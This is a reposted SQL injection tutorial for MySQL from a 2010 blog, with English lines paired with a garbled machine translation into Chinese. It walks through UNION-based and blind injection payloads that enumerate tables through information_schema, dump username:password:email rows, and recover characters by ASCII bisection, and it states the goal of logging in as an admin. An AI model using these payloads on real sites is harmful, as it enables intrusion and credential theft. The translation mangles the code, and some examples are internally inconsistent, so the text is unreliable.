分类: 系统运维
2010-02-26 19:57:32
SQL Injection Tutorial by Marezzi (MySQL) SQL注入教程由Marezzi(MySQL的)
In this tutorial i will describe how sql injection works and how to在本教程中,我将介绍如何SQL注入工程和如何
use it to get some useful information.用它来获取一些有用的信息。
First of all: What is SQL injection?首先:什么是SQL注入?
It's one of the most common vulnerability in web applications today.它是在网络应用中最常见的漏洞之一。
It allows attacker to execute database query in url and gain access它允许攻击者执行的网址,并取得数据库查询访问
to some confidential information etc...(in shortly).一些机密信息等..(在短期内)。
1.SQL Injection (classic or error based or whatever you call it) :D 1.SQL注入(典型的或错误的,或者无论你称呼它):Ḏ
2.Blind SQL Injection (the harder part) 2.Blind SQL注入(较难的部分)
So let's start with some action :D因此,让我们开始了一些行动:Ḏ
1). 1)。 Check for vulnerability检查漏洞
Let's say that we have some site like this比方说,我们有一些这样的网站
Now to test if is vulrnable we add to the end of url ' (quote),现在来测试是否是vulrnable我们增加了url的结尾'(引),
and that would be 这将是
so if we get some error like所以如果我们想获得一些错误
"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..." “您有在您的SQL语法错误,检查手册,对应于你的MySQL服务器版本的权利等等..”
or something similar或类似
that means is vulrnable to sql injection :)这意味着vulrnable SQL注入:)
2). 2)。 Find the number of columns查找的列数
To find number of columns we use statement ORDER BY (tells database how to order the result)为了找到列我们使用的ORDER BY语句数量(告诉数据库如何订购结果)
so how to use it?因此如何使用? Well just incrementing the number until we get an error.那么刚才的数字递增,直到我们得到一个错误。
order by 1/* <-- no error 整理1 / *“ -没有错误
order by 2/* <-- no error 整理2 / *“ -没有错误
order by 3/* <-- no error 整理3 / *“ -没有错误
order by 4/* <-- error (we get message like this Unknown column '4' in 'order clause' or something like that)为了 4 / *“ -错误(我们得到这样的未知列'4'以条款'或类似的东西'消息)
that means that the it has 3 columns, cause we got an error on 4.这意味着,它有3列,导致我们有了4错误。
3). 3)。 Check for UNION function联盟功能检查
With union we can select more data in one sql statement.与工会,我们可以选择一个SQL语句更多的数据。
so we have所以我们
union all select 1,2,3/* (we already found that number of columns are 3 in section 2). 联盟的所有选择1,2,3 / *(我们已经发现,一些列在第2 3)。 ) )
if we see some numbers on screen, ie 1 or 2 or 3 then the UNION works :)如果我们在屏幕上看到一些数字,即:1或2或3,然后在工会的工作:)
4). 4)。 Check for MySQL version MySQL的版本检查
union all select 1,2,3/* NOTE: if /* not working or you get some error, then try -- 联盟的所有选择1,2,3 / *注意:如果/ *没有工作或你一些错误,然后尝试-
it's a comment and it's important for our query to work properly.这是一个评论,这对我们的质疑,重要的正常工作。
let say that we have number 2 on the screen, now to check for version让说,我们在屏幕上数字2,现在要检查版本
we replace the number 2 with @@version or version() and get someting like 4.1.33-log or 5.0.45 or similar.我们替换编号为2版本或版本@ @()和get someting如4.1.33日志或5.0.45或类似。
it should look like this union all select 1,@@version,3/*它看起来应该像这样联盟的所有选择1,@ @版本,3 / *
if you get an error "union + illegal mix of collations (IMPLICIT + COERCIBLE) ..."如果你得到一个错误“联盟+的排序规则的非法组合(隐+ COERCIBLE)...”
i didn't see any paper covering this problem, so i must write it :)我没有看到任何文件涉及这一问题,所以我必须写:)
what we need is convert() function我们需要的是转换()函数
ie即
union all select 1,convert(@@version using latin1),3/* 联盟的所有选择1,转换(@ @使用latin1版),3 / *
or with hex() and unhex()或十六进制()和unhex()
ie即
union all select 1,unhex(hex(@@version)),3/* 联盟的所有选择1,(16进制(@ @版)),3 unhex / *
and you will get MySQL version :D你会得到MySQL版本:Ḏ
5). 5)。 Getting table and column name使用表和列名
well if the MySQL version is < 5 (ie 4.1.33, 4.1.12...) <--- later i will describe for MySQL > 5 version.以及如果MySQL的版本是“5(即4.1.33,4.1.12 ...)”---之后,我将介绍MySQL的“第5版。
we must guess table and column name in most cases.我们必须猜测表和列在大多数情况下的名称。
common table names are: user/s, admin/s, member/s ...通用表名称是:用户/秒,管理员/秒,成员/秒...
common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc...共同列名是:用户名,用户,usr下,USER_NAME的,密码,通过passwd的,密码等..
ie would be即会
union all select 1,2,3 from admin/* (we see number 2 on the screen like before, and that's good :D) 联盟的所有选择1,2,3,从管理/ *(我们看到的数字屏幕上像前2,这就是好了:D)
we know that table admin exists...我们知道,表管理存在...
now to check column names.现在来检查的列名。
union all select 1,username,3 from admin/* (if you get an error, then try the other column name) 联盟的所有选择1,用户名,从管理3 / *(如果您得到一个错误,然后再尝试其他列名)
we get username displayed on screen, example would be admin, or superadmin etc...我们得到的用户名显示在屏幕上,例如将管理,或超级管理员等..
now to check if column password exists现在,以检查是否存在列密码
union all select 1,password,3 from admin/* (if you get an error, then try the other column name) 联盟的所有选择1,密码,从管理员3 / *(如果您得到一个错误,然后再尝试其他列名)
we seen password on the screen in hash or plain-text, it depends of how the database is set up :)我们看到的散列或纯文本屏幕密码,如何建立数据库取决于:)
ie md5 hash, mysql hash, sha1...即MD5哈希,MySQL的哈希,sha1 ...
now we must complete query to look nice :)现在我们必须完成查询,看上去很好:)
for that we can use concat() function (it joins strings)为此,我们可以使用的CONCAT()(它加入字符串)
ie即
union all select 1,concat(username,0x3a,password),3 from admin/* 联盟的所有选择1,Concat的(用户名,0x3a,密码),3名管理员/ *
Note that i put 0x3a, its hex value for : (so 0x3a is hex value for colon)请注意,我把0x3a,其十六进制值为:(所以0x3a是冒号十六进制值)
(there is another way for that, char(58), ascii value for : ) (还有一个这样,字符(58),ASCII值为:)
union all select 1,concat(username,char(58),password),3 from admin/* 联盟的所有选择1,Concat的(用户名,烧焦(58),密码),3名管理员/ *
now we get dislayed username:password on screen, ie admin:admin or admin:somehash现在我们得到dislayed用户名:密码屏幕上,即管理员:管理员或管理员:somehash
when you have this, you can login like admin or some superuser :D当您有此,您可以登录一些如管理员或超级用户:Ḏ
if can't guess the right table name, you can always try mysql.user (default)如果不能正确的猜测表的名称,你可以再尝试mysql.user(默认)
it has user i password columns, so example would be它用户I密码栏,所以例子是
union all select 1,concat(user,0x3a,password),3 from mysql.user/* 联盟的所有选择1,Concat的(用户,0x3a,密码),从mysql.user 3 / *
6). 6)。 MySQL 5 MySQL的5
Like i said before i'm gonna explain how to get table and column names正如我以前说过我gonna解释如何获得表和列名
in MySQL > 5. MySQL中的“5。
For this we need information_schema.为此,我们需要INFORMATION_SCHEMA信息。 It holds all tables and columns in database.它拥有所有的数据库表和列。
to get tables we use table_name and information_schema.tables.让我们用表格名表和information_schema.tables。
ie即
union all select 1,table_name,3 from information_schema.tables/* 联盟的所有选择1,表名,3名来自information_schema.tables / *
here we replace the our number 2 with table_name to get the first table from information_schema.tables在这里,我们替换表名,以获得information_schema.tables第一个表的编号为2
displayed on the screen.显示在屏幕上。 Now we must add LIMIT to the end of query to list out all tables.现在,我们必须补充限额的查询结束,列出所有表。
ie即
union all select 1,table_name,3 from information_schema.tables limit 0,1/* 联盟的所有选择1,表名,从information_schema.tables 3限制0,1 / *
note that i put 0,1 (get 1 result starting from the 0th)请注意,我把0,1(送1的结果,从第0个开始)
now to view the second table, we change limit 0,1 to limit 1,1现在,以查看第二个表,我们改变限制0,1限制1,1
ie即
union all select 1,table_name,3 from information_schema.tables limit 1,1/* 联盟的所有选择1,表名,从information_schema.tables 3限制1,1 / *
the second table is displayed.第二个表显示。
for third table we put limit 2,1第三表我们提出限制2,1
ie即
union all select 1,table_name,3 from information_schema.tables limit 2,1/* 联盟的所有选择1,表名,从information_schema.tables 3限制2,1 / *
keep incrementing until you get some useful like db_admin, poll_user, auth, auth_user etc...不断递增,直到你得到一些喜欢db_admin,poll_user,权威性,auth_user等有用.. :D :Ḏ
To get the column names the method is the same.要获得列名的方法是相同的。
here we use column_name and information_schema.columns在这里我们使用栏位和information_schema.columns
the method is same as above so example would be该方法是一样的上面这样的例子是
union all select 1,column_name,3 from information_schema.columns limit 0,1/* 联盟的所有选择1,栏位,从information_schema.columns 3限制0,1 / *
the first column is diplayed.第一列是diplayed。
the second one (we change limit 0,1 to limit 1,1)第二个(我们改变限制0,1限制1,1)
ie. IE浏览器。
union all select 1,column_name,3 from information_schema.columns limit 1,1/* 联盟的所有选择1,栏位,从information_schema.columns 3限制1,1 / *
the second column is displayed, so keep incrementing until you get something like第二列显示的,所以要递增,直到你喜欢的东西
username,user,login, password, pass, passwd etc...用户名,用户,登录,密码,通过passwd的等.. :D :Ḏ
if you wanna display column names for specific table use this query.如果您想要显示特定的表使用此查询的列名。 (where clause) (where子句)
let's say that we found table users.让我们说,我们认为表的用户。
ie即
union all select 1,column_name,3 from information_schema.columns where table_name='users'/* 联盟的所有选择1,栏位,3 information_schema.columns在表格名='用户'/ *
now we get displayed column name in table users.现在我们得到的用户显示在表列的名称。 Just using LIMIT we can list all columns in table users.仅使用极限,我们可以在表中列出用户的所有列。
Note that this won't work if the magic quotes is ON.请注意,这是行不通的,如果是对魔术引号。
let's say that we found colums user, pass and email.让我们说,我们认为colums用户,通过和电子邮件。
now to complete query to put them all together :D现在完成查询,把它们放在一起:Ḏ
for that we use concat() , i decribe it earlier.为此我们使用Concat的(),我刚才描述它。
ie即
union all select 1,concat(user,0x3a,pass,0x3a,email) from users/* 联盟的所有选择1,Concat的(用户,0x3a,传球,0x3a,电子邮件)的用户/ *
what we get here is user:pass:email from table users.我们到这里是用户:密码:从表用户的电子邮件。
example: admin:hash:whatever@blabla.com例如:管理员:哈希:
That's all in this part, now we can proceed on harder part :)这是本部分的,现在我们可以继续在困难的一部分:)
2. 2。 Blind SQL Injection盲SQL注入
Blind injection is a little more complicated the classic injection but it can be done :D盲注是一个复杂的经典注入多一点,但可以做到:Ḏ
I must mention, there is very good blind sql injection tutorial by xprog, so it's not bad to read it :D我必须提到,有很好的SQL盲注的xprog教程,所以它不是坏事阅读:Ḏ
Let's start with advanced stuff.让我们先从先进的东西。
I will be using our example我会用我们的例子
when we execute this, we see some page and articles on that page, pictures etc...当我们执行此,我们看到一些网页,并在此页的文章,图片等..
then when we want to test it for blind sql injection attack然后当我们想测试盲目SQL注入攻击它
and 1=1 <--- this is always true 和1 = 1“---这是总是正确的
and the page loads normally, that's ok.并在页面加载正常,那就OK了。
now the real test现在真正的考验
and 1=2 <--- this is false 和1 = 2“---这是错误的
so if some text, picture or some content is missing on returned page then that site is vulrnable to blind sql injection.因此,如果一些文字,图片或缺少一些内容网页上,然后返回该站点是vulrnable盲目SQL注入。
1) Get the MySQL version 1)获取MySQL版本
to get the version in blind attack we use substring获得盲目攻击,我们使用的串版本
ie即
and substring(@@version,1,1)=4 和子(@ @版,1,1)= 4
this should return TRUE if the version of MySQL is 4.这应返回TRUE,如果在MySQL版本为4。
replace 4 with 5, and if query return TRUE then the version is 5.取代5 4,如果查询返回真,那么该版本是5。
ie即
and substring(@@version,1,1)=5 和子(@ @版,1,1)= 5
2) Test if subselect works 2)测试工作,如果子查询
when select don't work then we use subselect如果选择不工作,然后我们使用子查询
ie即
and (select 1)=1 和(选择1)= 1
if page loads normally then subselects work.如果正常加载网页,然后子查询工作。
then we gonna see if we have access to mysql.user那么我们该怎么看,如果我们能够获得mysql.user
ie即
and (select 1 from mysql.user limit 0,1)=1 和(选择mysql.user限制0,1 1)= 1
if page loads normally we have access to mysql.user and then later we can pull some password usign load_file() function and OUTFILE.如果页面加载,一般来说,我们能够获得mysql.user和后来我们就能够使一些密码usign load_file()函数和outfile参数。
3). 3)。 Check table and column names检查表和列名
This is part when guessing is the best friend :)这是部分在猜测是最好的朋友:)
ie即
and (select 1 from users limit 0,1)=1 (with limit 0,1 our query here returns 1 row of data, cause subselect returns only 1 row, this is very important.) 及(由用户选择限制0,1 1 = 1(0,1与我们的查询限制在这里)返回1的数据行,造成子查询只返回1行,这是很重要的。)
then if the page loads normally without content missing, the table users exits.那么如果没有内容缺少正常的页面加载,表用户退出。
if you get FALSE (some article missing), just change table name until you guess the right one :)如果你假(一些文章失踪),只是改变表的名字,直到你猜是正确的:)
let's say that we have found that table name is users, now what we need is column name.让我们说,我们发现,表名是用户,现在我们需要的是列名。
the same as table name, we start guessing.相同的表名,我们开始猜测。 Like i said before try the common names for columns.就像我以前说过尝试列的通用名称。
ie即
and (select substring(concat(1,password),1,1) from users limit 0,1)=1 和(选择子(Concat的(1,密码),1,1)由用户限制0,1)= 1
if the page loads normally we know that column name is password (if we get false then try common names or just guess)如果页面加载通常我们知道,列名,密码(如果我们得到虚假然后尝试共同的名字还是猜测)
here we merge 1 with the column password, then substring returns the first character (,1,1)在这里,我们融入密码一栏,然后返回字符串第一个字符(,1,1)
4). 4)。 Pull data from database从数据库中的数据拉
we found table users i columns username password so we gonna pull characters from that.我们发现表用户来说列名密码,这样我们该怎么撤出的字符。
and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80 和ASCII(串((选择Concat的(用户名,0x3a,密码)由用户限制0,1),1,1))“80
ok this here pulls the first character from first user in table users.确定这一这里是直接从用户在表中的第一个用户的第一个字符。
substring here returns first character and 1 character in length.这里返回字符串第一个字符和1个字符的长度。 ascii() converts that 1 character into ascii value ASCII码()的1个字符转换成ASCII值
and then compare it with simbol greater then > .然后比较辛博尔更大的那么“。
so if the ascii char greater then 80, the page loads normally.所以,如果更多的ASCII字符,然后80,在页面加载正常。 (TRUE) (真)
we keep trying until we get false.我们不断尝试,直到我们得到错误的。
and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95 和ASCII(串((选择Concat的(用户名,0x3a,密码)由用户限制0,1),1,1))“95
we get TRUE, keep incrementing我们获得真正的,不断递增
and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98 和ASCII(串((选择Concat的(用户名,0x3a,密码)由用户限制0,1),1,1))“98
TRUE again, higher真再次,高
and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99 和ASCII(串((选择Concat的(用户名,0x3a,密码)由用户限制0,1),1,1))“99
FALSE!!!假!
so the first character in username is char(99).所以在用户名的第一个字符是char(99)。 Using the ascii converter we know that char(99) is letter 'c'.使用ASCII转换器,我们知道字符(99)是字母'c'的。
then let's check the second character.那么就让我们来检查第二个字符。
and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99 和ASCII(串((选择Concat的(用户名,0x3a,密码)由用户限制0,1),2,1))“99
Note that i'm changed ,1,1 to ,2,1 to get the second character.请注意,我变了,1,1的,2,1获得第二个字符。 (now it returns the second character, 1 character in lenght) (现在它返回的第二个字符,字符长度1)
and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99 和ASCII(串((选择Concat的(用户名,0x3a,密码)由用户限制0,1),1,1))“99
TRUE, the page loads normally, higher.真,页面加载通常较高。
and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107 和ASCII(串((选择Concat的(用户名,0x3a,密码)由用户限制0,1),1,1))“107
FALSE, lower number.假,更小的数字。
and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104 和ASCII(串((选择Concat的(用户名,0x3a,密码)由用户限制0,1),1,1))“104
TRUE, higher. TRUE,则更高。
and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105 和ASCII(串((选择Concat的(用户名,0x3a,密码)由用户限制0,1),1,1))“105
FALSE!!!假!
we know that the second character is char(105) and that is 'i'.我们知道,第二个字符是char(105),就是'我'。 We have 'ci' so far我们有'词'到目前为止,
so keep incrementing until you get the end.从而保持递增,直到满意为止结束。 (when >0 returns false we know that we have reach the end). (当“0返回false,我们知道,我们已经到达结束)。
There are some tools for Blind SQL Injection, i think sqlmap is the best, but i'm doing everything manually,盲人有SQL注入的一些工具,我认为的SqlMap是最好的,但我尽一切手动
cause that makes you better SQL INJECTOR :D事业,让你更好的SQL注入:Ḏ
Hope you learned something from this paper.希望你们从这次文件的东西。
Have FUN!玩得开心!